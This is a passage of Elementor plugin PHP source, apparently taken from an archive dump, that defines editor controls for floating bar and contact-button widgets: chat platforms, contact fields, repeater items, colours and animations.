$this->end_controls_section(); $this->start_controls_section( 'advanced_custom_controls_section', [ 'label' => esc_html__( 'CSS', 'elementor' ), 'tab' => static::TAB_ADVANCED, ] ); $this->add_control( 'advanced_custom_css_id', [ 'label' => esc_html__( 'CSS ID', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'ai' => [ 'active' => false, ], 'dynamic' => [ 'active' => true, ], 'title' => esc_html__( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'elementor' ), 'style_transfer' => false, ] ); $this->add_control( 'advanced_custom_css_classes', [ 'label' => esc_html__( 'CSS Classes', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'ai' => [ 'active' => false, ], 'dynamic' => [ 'active' => true, ], 'title' => esc_html__( 'Add your custom class WITHOUT the dot. e.g: my-class', 'elementor' ), ] ); $this->end_controls_section(); Plugin::$instance->controls_manager->add_custom_css_controls( $this, static::TAB_ADVANCED ); Plugin::$instance->controls_manager->add_custom_attributes_controls( $this, static::TAB_ADVANCED ); } protected function add_content_tab(): void { $this->add_announcement_content_section(); $this->add_cta_button_content_section(); $this->add_floating_bar_content_section(); } protected function add_style_tab(): void { $this->add_announcement_style_section(); $this->add_cta_button_style_section(); $this->add_floating_bar_style_section(); } protected function render(): void { $render_strategy = new Floating_Bars_Core_Render( $this ); $render_strategy->render(); } } modules/floating-buttons/base/widget-contact-button-base.php000064400000245301147206604650020312 0ustar00experiments->is_feature_active( 'e_font_icon_svg' ) ) { return parent::get_style_depends(); } return [ 'elementor-icons-fa-solid', 'elementor-icons-fa-brands', 'elementor-icons-fa-regular' ]; } public function hide_on_search(): bool { return true; } protected function get_initial_config(): array { return array_merge( parent::get_initial_config(), [ 'commonMerged' => true, ] ); } public static function get_configuration() { return [ 'content' => [ 'chat_button_section' => [ 'section_name' => esc_html__( 'Chat Button', 'elementor' ), 'has_platform' => true, 'has_icon' => false, 'icon_default' => [ 'value' => 'far fa-comment-dots', 'library' => 'fa-regular', ], 'icons_recommended' => [ 'fa-regular' => [ 'comment', 'comment-dots', 'comment-alt', ], 'fa-solid' => [ 'ellipsis-v', ], ], 'has_notification_dot' => true, 'has_notification_dot_default_enabled' => true, 'has_active_tab' => false, 'has_display_text' => false, 'display_text_label' => esc_html__( 'Call now', 'elementor' ), 'has_display_text_select' => true, 'platform' => [ 'group' => [ Social_Network_Provider::EMAIL, Social_Network_Provider::SMS, Social_Network_Provider::WHATSAPP, Social_Network_Provider::SKYPE, Social_Network_Provider::MESSENGER, Social_Network_Provider::VIBER, ], 'default' => Social_Network_Provider::WHATSAPP, ], 'chat_aria_label' => Floating_Buttons::get_title(), 'defaults' => [ 'mail' => null, 'mail_subject' => null, 'mail_body' => null, 'number' => null, 'username' => null, 'location' => [ 'is_external' => true, ], 'url' => [ 'is_external' => true, ], ], 'has_accessible_name' => true, ], 'top_bar_section' => [ 'section_name' => esc_html__( 'Top Bar', 'elementor' ), 'has_image' => true, 'has_active_dot' => true, 'has_subtitle' => true, 'title' => [ 'label' => esc_html__( 'Name', 'elementor' ), 'default' => esc_html__( 'Rob Jones', 'elementor' ), 'placeholder' => esc_html__( 'Type your name here', 'elementor' ), 'dynamic' => false, 'ai' => false, 'label_block' => false, ], 'subtitle' => [ 'label' => esc_html__( 'Title', 'elementor' ), 'default' => esc_html__( 'Store Manager', 'elementor' ), 'placeholder' => esc_html__( 'Type your title here', 'elementor' ), 'dynamic' => false, 'ai' => false, 'label_block' => false, ], ], 'message_bubble_section' => [ 'has_typing_animation' => true, ], 'contact_section' => [ 'section_name' => esc_html__( 'Contact Buttons', 'elementor' ), 'has_cta_text' => true, 'repeater' => [ 'has_tooltip' => false, 'tooltip_label' => esc_html__( 'Text', 'elementor' ), 'tooltip_default' => esc_html__( 'Tooltip', 'elementor' ), 'tooltip_placeholder' => esc_html__( 'Enter icon text', 'elementor' ), 'has_title' => false, 'has_description' => false, ], 'platform' => [ 'group-1' => [ Social_Network_Provider::EMAIL, Social_Network_Provider::SMS, Social_Network_Provider::WHATSAPP, Social_Network_Provider::SKYPE, Social_Network_Provider::MESSENGER, Social_Network_Provider::VIBER, ], 'limit' => 5, 'min_items' => 0, ], 'default' => [ [ 'contact_icon_platform' => Social_Network_Provider::WHATSAPP, ], [ 'contact_icon_platform' => Social_Network_Provider::EMAIL, ], [ 'contact_icon_platform' => Social_Network_Provider::SMS, ], [ 'contact_icon_platform' => Social_Network_Provider::VIBER, ], [ 'contact_icon_platform' => Social_Network_Provider::MESSENGER, ], ], 'has_accessible_name' => true, ], 'send_button_section' => [ 'section_name' => esc_html__( 'Send Button', 'elementor' ), 'has_link' => false, 'text' => [ 'default' => esc_html__( 'Click to start chat', 'elementor' ), ], ], ], 'style' => [ 'has_platform_colors' => true, 'chat_button_section' => [ 'has_entrance_animation' => true, 'has_box_shadow' => true, 'has_drop_shadow' => false, 'has_padding' => false, 'has_button_size' => true, 'button_size_default' => 'small', 'has_typography' => false, 'has_icon_position' => false, 'has_icon_spacing' => false, 'has_tabs' => true, 'has_platform_color_controls' => false, 'hover_animation_type' => 'default', 'icon_color_label' => esc_html__( 'Icon Color', 'elementor' ), ], 'top_bar_section' => [ 'has_title_heading' => true, 'title_heading_label' => esc_html__( 'Name', 'elementor' ), 'subtitle_heading_label' => esc_html__( 'Title', 'elementor' ), 'has_style_close_button' => true, 'has_close_button_heading' => false, 'has_background' => true, 'has_background_heading' => false, ], 'message_bubble_section' => [ 'has_chat_background' => true, ], 'contact_section' => [ 'has_buttons_heading' => true, 'buttons_heading_label' => esc_html__( 'Buttons', 'elementor' ), 'has_buttons_size' => true, 'has_box_shadow' => false, 'has_buttons_spacing' => false, 'has_hover_animation' => true, 'has_chat_box_animation' => false, 'has_icon_bg_color' => true, 'has_button_bar' => false, 'has_tabs' => true, 'has_text_color' => false, 'has_bg_color' => false, 'has_padding' => false, 'has_button_corners' => false, 'has_typography' => false, 'icon_color_label' => esc_html__( 'Icon Color', 'elementor' ), 'has_hover_transition_duration' => false, ], 'send_button_section' => [ 'has_platform_colors' => true, 'has_icon_color' => true, 'has_background_color' => true, 'has_text_color' => false, 'has_typography' => true, 'typography_selector' => '{{WRAPPER}} .e-contact-buttons__send-cta', ], 'chat_box_section' => [ 'section_name' => esc_html__( 'Chat Box', 'elementor' ), 'has_width' => true, 'has_padding' => false, ], ], 'advanced' => [ 'has_layout_position' => true, 'horizontal_position_default' => 'end', 'has_mobile_full_width' => false, 'has_vertical_offset' => true, 'has_horizontal_offset' => true, ], ]; } public function get_icon(): string { return 'eicon-commenting-o'; } public function get_categories(): array { return [ 'general' ]; } protected function register_controls(): void { $this->add_content_tab(); $this->add_style_tab(); $this->add_advanced_tab(); } private function social_media_controls(): void { $config = static::get_configuration(); $this->add_control( 'chat_button_mail', [ 'label' => esc_html__( 'Email', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'placeholder' => esc_html__( '@', 'elementor' ), 'default' => $config['content']['chat_button_section']['defaults']['mail'], 'condition' => [ 'chat_button_platform' => Social_Network_Provider::EMAIL, ], ], ); $this->add_control( 'chat_button_mail_subject', [ 'label' => esc_html__( 'Subject', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'default' => $config['content']['chat_button_section']['defaults']['mail_subject'], 'condition' => [ 'chat_button_platform' => Social_Network_Provider::EMAIL, ], ], ); $this->add_control( 'chat_button_mail_body', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'default' => $config['content']['chat_button_section']['defaults']['mail_body'], 'condition' => [ 'chat_button_platform' => Social_Network_Provider::EMAIL, ], ] ); $this->add_control( 'chat_button_number', [ 'label' => esc_html__( 'Number', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'placeholder' => esc_html__( '+', 'elementor' ), 'default' => $config['content']['chat_button_section']['defaults']['number'], 'condition' => [ 'chat_button_platform' => [ Social_Network_Provider::SMS, Social_Network_Provider::WHATSAPP, Social_Network_Provider::VIBER, Social_Network_Provider::TELEPHONE, ], ], ], ); $this->add_control( 'chat_button_username', [ 'label' => esc_html__( 'Username', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'default' => $config['content']['chat_button_section']['defaults']['username'], 'condition' => [ 'chat_button_platform' => [ Social_Network_Provider::SKYPE, Social_Network_Provider::MESSENGER, ], ], ], ); $this->add_control( 'chat_button_viber_action', [ 'label' => esc_html__( 'Action', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'chat', 'options' => [ 'chat' => 'Chat', 'contact' => 'Contact', ], 'condition' => [ 'chat_button_platform' => Social_Network_Provider::VIBER, ], ] ); $this->add_control( 'chat_button_waze', [ 'label' => esc_html__( 'Location', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'placeholder' => esc_html__( 'Paste Waze link', 'elementor' ), 'default' => $config['content']['chat_button_section']['defaults']['location'], 'condition' => [ 'chat_button_platform' => [ Social_Network_Provider::WAZE, ], ], ], ); $this->add_control( 'chat_button_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'default' => [ 'is_external' => true, ], 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'autocomplete' => true, 'label_block' => true, 'default' => $config['content']['chat_button_section']['defaults']['url'], 'condition' => [ 'chat_button_platform' => [ Social_Network_Provider::URL, ], ], ], ); } private function get_display_text_condition( $condition ) { $config = static::get_configuration(); if ( true == $config['content']['chat_button_section']['has_display_text_select'] ) { return $condition; } return null; } protected function add_chat_button_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'chat_button_section', [ 'label' => $config['content']['chat_button_section']['section_name'], 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( $config['content']['chat_button_section']['has_accessible_name'] ) { $this->add_control( 'chat_aria_label', [ 'label' => esc_html__( 'Accessible name', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => $config['content']['chat_button_section']['chat_aria_label'], 'placeholder' => esc_html__( 'Add accessible name', 'elementor' ), 'dynamic' => [ 'active' => true, ], ], ); } if ( $config['content']['chat_button_section']['has_platform'] ) { $this->add_control( 'chat_button_platform', [ 'label' => esc_html__( 'Platform', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $config['content']['chat_button_section']['platform']['default'], 'options' => Social_Network_Provider::get_social_networks_text( $config['content']['chat_button_section']['platform']['group'] ), ] ); $this->social_media_controls(); } if ( $config['content']['chat_button_section']['has_icon'] ) { $this->add_control( 'chat_button_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'default' => $config['content']['chat_button_section']['icon_default'], 'recommended' => $config['content']['chat_button_section']['icons_recommended'], ] ); } if ( $config['content']['chat_button_section']['has_notification_dot'] ) { $notification_dot_return_value = 'yes'; $notification_dot_default = $notification_dot_return_value; // Only clear if explicitly passed if ( false === $config['content']['chat_button_section']['has_notification_dot_default_enabled'] ) { $notification_dot_default = ''; } $this->add_control( 'chat_button_show_dot', [ 'label' => esc_html__( 'Notification Dot', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => $notification_dot_return_value, 'default' => $notification_dot_default, ] ); } if ( $config['content']['chat_button_section']['has_display_text'] ) { if ( $config['content']['chat_button_section']['has_display_text_select'] ) { $this->add_control( 'chat_button_display_text_select', [ 'label' => esc_html__( 'Display Text', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'details', 'options' => [ 'details' => esc_html__( 'Contact Details', 'elementor' ), 'cta' => esc_html__( 'Call to Action', 'elementor' ), ], ] ); } $this->add_control( 'chat_button_display_text', [ 'label' => esc_html__( 'Call to Action Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'placeholder' => esc_html__( 'Enter the text', 'elementor' ), 'default' => $config['content']['chat_button_section']['display_text_label'], 'condition' => $this->get_display_text_condition([ 'chat_button_display_text_select' => 'cta', ] ), ], ); } $this->end_controls_section(); } protected function add_top_bar_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'top_bar_section', [ 'label' => $config['content']['top_bar_section']['section_name'], 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'top_bar_title', [ 'label' => $config['content']['top_bar_section']['title']['label'], 'type' => Controls_Manager::TEXT, 'default' => $config['content']['top_bar_section']['title']['default'], 'placeholder' => $config['content']['top_bar_section']['title']['placeholder'], 'dynamic' => [ 'active' => $config['content']['top_bar_section']['title']['dynamic'], ], 'ai' => [ 'active' => $config['content']['top_bar_section']['title']['ai'], ], 'label_block' => $config['content']['top_bar_section']['title']['label_block'], ] ); if ( $config['content']['top_bar_section']['has_subtitle'] ) { $this->add_control( 'top_bar_subtitle', [ 'label' => $config['content']['top_bar_section']['subtitle']['label'], 'type' => Controls_Manager::TEXT, 'default' => $config['content']['top_bar_section']['subtitle']['default'], 'placeholder' => $config['content']['top_bar_section']['subtitle']['placeholder'], $config['content']['top_bar_section']['subtitle']['dynamic'], 'ai' => [ 'active' => $config['content']['top_bar_section']['subtitle']['ai'], ], 'label_block' => $config['content']['top_bar_section']['title']['label_block'], ] ); } if ( $config['content']['top_bar_section']['has_image'] ) { $this->add_control( 'top_bar_image', [ 'label' => esc_html__( 'Profile Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); } if ( $config['content']['top_bar_section']['has_active_dot'] ) { $this->add_control( 'top_bar_show_dot', [ 'label' => esc_html__( 'Active Dot', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', ] ); } $this->end_controls_section(); } protected function add_message_bubble_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'message_bubble_section', [ 'label' => esc_html__( 'Message Bubble', 'elementor' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'message_bubble_name', [ 'label' => esc_html__( 'Name', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Rob', 'elementor' ), 'placeholder' => esc_html__( 'Type your name here', 'elementor' ), ] ); $this->add_control( 'message_bubble_body', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'default' => esc_html__( 'Hey, how can I help you today?', 'elementor' ), 'placeholder' => esc_html__( 'Message', 'elementor' ), ], ); $this->add_control( 'chat_button_time_format', [ 'label' => esc_html__( 'Time format', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '12h', 'options' => [ '12h' => esc_html__( '2:20 PM', 'elementor' ), '24h' => esc_html__( '14:20', 'elementor' ), ], ] ); if ( $config['content']['message_bubble_section']['has_typing_animation'] ) { $this->add_control( 'chat_button_show_animation', [ 'label' => esc_html__( 'Typing Animation', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', ] ); } $this->end_controls_section(); } protected function add_contact_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'contact_section', [ 'label' => $config['content']['contact_section']['section_name'], 'tab' => Controls_Manager::TAB_CONTENT, ] ); if ( $config['content']['contact_section']['has_accessible_name'] ) { $this->add_control( 'contact_aria_label', [ 'label' => esc_html__( 'Accessible name', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => $config['content']['chat_button_section']['chat_aria_label'], 'placeholder' => esc_html__( 'Add accessible name', 'elementor' ), 'dynamic' => [ 'active' => true, ], ], ); } if ( $config['content']['contact_section']['has_cta_text'] ) { $this->add_control( 'contact_cta_text', [ 'label' => esc_html__( 'Call to Action Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Start conversation:', 'elementor' ), 'placeholder' => esc_html__( 'Type your text here', 'elementor' ), 'label_block' => true, ] ); } if ( $config['content']['contact_section']['platform']['limit'] ) { if ( $config['content']['contact_section']['platform']['min_items'] ) { $this->add_control( 'contact_custom_panel_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( __( 'Add between %1$d to %2$d contact buttons', 'elementor' ), $config['content']['contact_section']['platform']['min_items'], $config['content']['contact_section']['platform']['limit'] ), ] ); } else { $this->add_control( 'contact_custom_panel_alert', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( __( 'Add up to %d contact buttons', 'elementor' ), $config['content']['contact_section']['platform']['limit'] ), ] ); } } $repeater = new Repeater(); $repeater->add_control( 'contact_icon_platform', [ 'label' => esc_html__( 'Platform', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => Social_Network_Provider::get_social_networks_text( $config['content']['contact_section']['platform']['group-1'] ), 'default' => Social_Network_Provider::WHATSAPP, ], ); if ( $config['content']['contact_section']['repeater']['has_tooltip'] ) { $repeater->add_control( 'contact_tooltip', [ 'label' => $config['content']['contact_section']['repeater']['tooltip_label'], 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'default' => $config['content']['contact_section']['repeater']['tooltip_default'], 'placeholder' => $config['content']['contact_section']['repeater']['tooltip_placeholder'], ], ); } if ( $config['content']['contact_section']['repeater']['has_title'] ) { $repeater->add_control( 'contact_title', [ 'label' => 'Title', 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'default' => 'Title', 'placeholder' => esc_html__( 'Enter title', 'elementor' ), ], ); } if ( $config['content']['contact_section']['repeater']['has_description'] ) { $repeater->add_control( 'contact_description', [ 'label' => 'Description', 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'default' => 'Description', 'placeholder' => esc_html__( 'Enter description', 'elementor' ), ], ); } $repeater->add_control( 'contact_icon_mail', [ 'label' => esc_html__( 'Email', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => esc_html__( 'Enter your email', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::EMAIL, ], ], ], ); $repeater->add_control( 'contact_icon_mail_subject', [ 'label' => esc_html__( 'Subject', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => esc_html__( 'Subject', 'elementor' ), 'label_block' => true, 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::EMAIL, ], ], ] ); $repeater->add_control( 'contact_icon_mail_body', [ 'label' => esc_html__( 'Message', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Message', 'elementor' ), 'label_block' => true, 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::EMAIL, ], ], ] ); $repeater->add_control( 'contact_icon_number', [ 'label' => esc_html__( 'Number', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'placeholder' => esc_html__( '+', 'elementor' ), 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::SMS, Social_Network_Provider::WHATSAPP, Social_Network_Provider::VIBER, Social_Network_Provider::TELEPHONE, ], ], ], ); $repeater->add_control( 'contact_icon_username', [ 'label' => esc_html__( 'Username', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'label_block' => true, 'placeholder' => esc_html__( 'Enter your username', 'elementor' ), 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::MESSENGER, Social_Network_Provider::SKYPE, ], ], ], ); $repeater->add_control( 'contact_icon_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'autocomplete' => true, 'label_block' => true, 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::URL, ], ], 'default' => [ 'is_external' => true, ], 'placeholder' => esc_html__( 'Paste URL or type', 'elementor' ), ], ); $repeater->add_control( 'contact_icon_waze', [ 'label' => esc_html__( 'Location', 'elementor' ), 'type' => Controls_Manager::URL, 'default' => [ 'is_external' => true, ], 'dynamic' => [ 'active' => true, ], 'label_block' => true, 'placeholder' => esc_html__( 'Paste Waze link', 'elementor' ), 'condition' => [ 'contact_icon_platform' => [ Social_Network_Provider::WAZE, ], ], 'ai' => [ 'active' => false, ], ], ); $repeater->add_control( 'contact_icon_viber_action', [ 'label' => esc_html__( 'Action', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'chat', 'dynamic' => [ 'active' => true, ], 'options' => [ 'chat' => 'Chat', 'contact' => 'Contact', ], 'condition' => [ 'contact_icon_platform' => Social_Network_Provider::VIBER, ], ] ); $this->add_control( 'contact_repeater', [ 'max_items' => $config['content']['contact_section']['platform']['limit'], 'min_items' => $config['content']['contact_section']['platform']['min_items'], 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'title_field' => $this->get_icon_title_field(), 'prevent_empty' => true, 'button_text' => esc_html__( 'Add Item', 'elementor' ), 'default' => $config['content']['contact_section']['default'], ] ); $this->end_controls_section(); } protected function get_icon_title_field(): string { $platform_icons_js = json_encode( Social_Network_Provider::get_social_networks_icons() ); $platform_text_js = json_encode( Social_Network_Provider::get_social_networks_text() ); return << {{{ text_mapping[contact_icon_platform] }}} JS; } protected function add_send_button_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'send_button_section', [ 'label' => $config['content']['send_button_section']['section_name'], 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'send_button_text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => $config['content']['send_button_section']['text']['default'], 'placeholder' => esc_html__( 'Type your text here', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], ] ); if ( $config['content']['send_button_section']['has_link'] ) { $this->add_control( 'send_button_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'default' => [ 'is_external' => true, ], 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'autocomplete' => true, 'label_block' => true, ], ); } $this->end_controls_section(); } protected function add_content_tab(): void { $this->add_chat_button_section(); $this->add_top_bar_section(); $this->add_message_bubble_section(); $this->add_send_button_section(); } private function get_platform_color_condition( $condition ) { $config = static::get_configuration(); if ( true == $config['style']['has_platform_colors'] ) { return $condition; } return null; } protected function add_style_chat_button_section(): void { $config = static::get_configuration(); $this->start_controls_section( 'style_chat_button', [ 'label' => $config['content']['chat_button_section']['section_name'], 'tab' => Controls_Manager::TAB_STYLE, ] ); if ( $config['style']['chat_button_section']['has_button_size'] ) { $this->add_control( 'style_chat_button_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $config['style']['chat_button_section']['button_size_default'], 'options' => [ 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), ], ] ); } if ( $config['style']['chat_button_section']['has_icon_position'] ) { $this->add_responsive_control( 'style_chat_button_horizontal_position', [ 'label' => esc_html__( 'Icon Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'end' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons__chat-button svg' => 'order: {{VALUE}};', ], 'selectors_dictionary' => [ 'start' => '-1', 'end' => '2', ], 'default' => 'start', 'mobile_default' => 'start', 'toggle' => true, ] ); } if ( $config['style']['chat_button_section']['has_icon_spacing'] ) { $this->add_responsive_control( 'style_chat_button_spacing', [ 'label' => esc_html__( 'Icon Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 100, ], 'px' => [ 'min' => 0, 'max' => 100, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-chat-button-gap: {{SIZE}}{{UNIT}}', ], 'separator' => 'before', ] ); } if ( $config['style']['chat_button_section']['has_typography'] ) { $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'style_top_bar_title_typography', 'selector' => '{{WRAPPER}} .e-contact-buttons__chat-button', ] ); } if ( $config['style']['chat_button_section']['has_tabs'] ) { $this->start_controls_tabs( 'style_button_color_tabs' ); $this->start_controls_tab( 'style_button_color_tabs_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); if ( $config['style']['has_platform_colors'] ) { $this->add_control( 'style_button_color_select', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } $this->add_control( 'style_button_color_icon', [ 'label' => $config['style']['chat_button_section']['icon_color_label'], 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-icon: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_button_color_select' => 'custom', ] ), ] ); $this->add_control( 'style_button_color_background', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-bg: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_button_color_select' => 'custom', ] ), ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_button_color_tabs_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); if ( $config['style']['has_platform_colors'] ) { $this->add_control( 'style_button_color_select_hover', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ] ); } $this->add_control( 'style_button_color_icon_hover', [ 'label' => $config['style']['chat_button_section']['icon_color_label'], 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-icon-hover: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_button_color_select_hover' => 'custom', ] ), ] ); $this->add_control( 'style_button_color_background_hover', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-bg-hover: {{VALUE}}', ], 'condition' => $this->get_platform_color_condition( [ 'style_button_color_select_hover' => 'custom', ] ), ] ); if ( 'default' == $config['style']['chat_button_section']['hover_animation_type'] ) { $this->add_hover_animation_control( 'style_button_color_hover_animation', ); } $this->end_controls_tab(); if ( $config['content']['chat_button_section']['has_active_tab'] ) { $this->start_controls_tab( 'style_button_color_tabs_active', [ 'label' => esc_html__( 'Active', 'elementor' ), ] ); $this->add_control( 'style_button_color_icon_active', [ 'label' => esc_html__( 'Icon Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-active-button-color: {{VALUE}}', ], ] ); $this->add_control( 'style_button_color_background_active', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-active-button-bg: {{VALUE}}', ], ] ); $this->end_controls_tab(); } $this->end_controls_tabs(); } if ( $config['style']['chat_button_section']['has_platform_color_controls'] ) { $this->add_control( 'style_platform_control_select', [ 'label' => esc_html__( 'Colors', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], 'separator' => 'before', ] ); $this->add_control( 'style_button_color_icon', [ 'label' => $config['style']['chat_button_section']['icon_color_label'], 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-icon: {{VALUE}}', ], 'condition' => [ 'style_platform_control_select' => 'custom', ], ] ); $this->add_control( 'style_button_color_background', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-contact-buttons' => '--e-contact-buttons-button-bg: {{VALUE}}', ], 'condition' => [ 'style_platform_control_select' => 'custom', ], ] ); } if ( $config['style']['chat_button_section']['has_entrance_animation'] ) { $this->add_responsive_control( 'style_chat_button_animation', [ 'label' => esc_html__( 'Entrance Animation', 'elementor' ), 'type' => Controls_Manager::ANIMATION, 'frontend_available' => true, 'separator' => 'before', ] ); $this->add_control( 'style_chat_button_animation_duration', [ 'label' => esc_html__( 'Animation Duration', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'normal', 'options' => [ 'slow' => esc_html__( 'Slow', 'elementor' ), 'normal' => esc_html__( 'Normal', 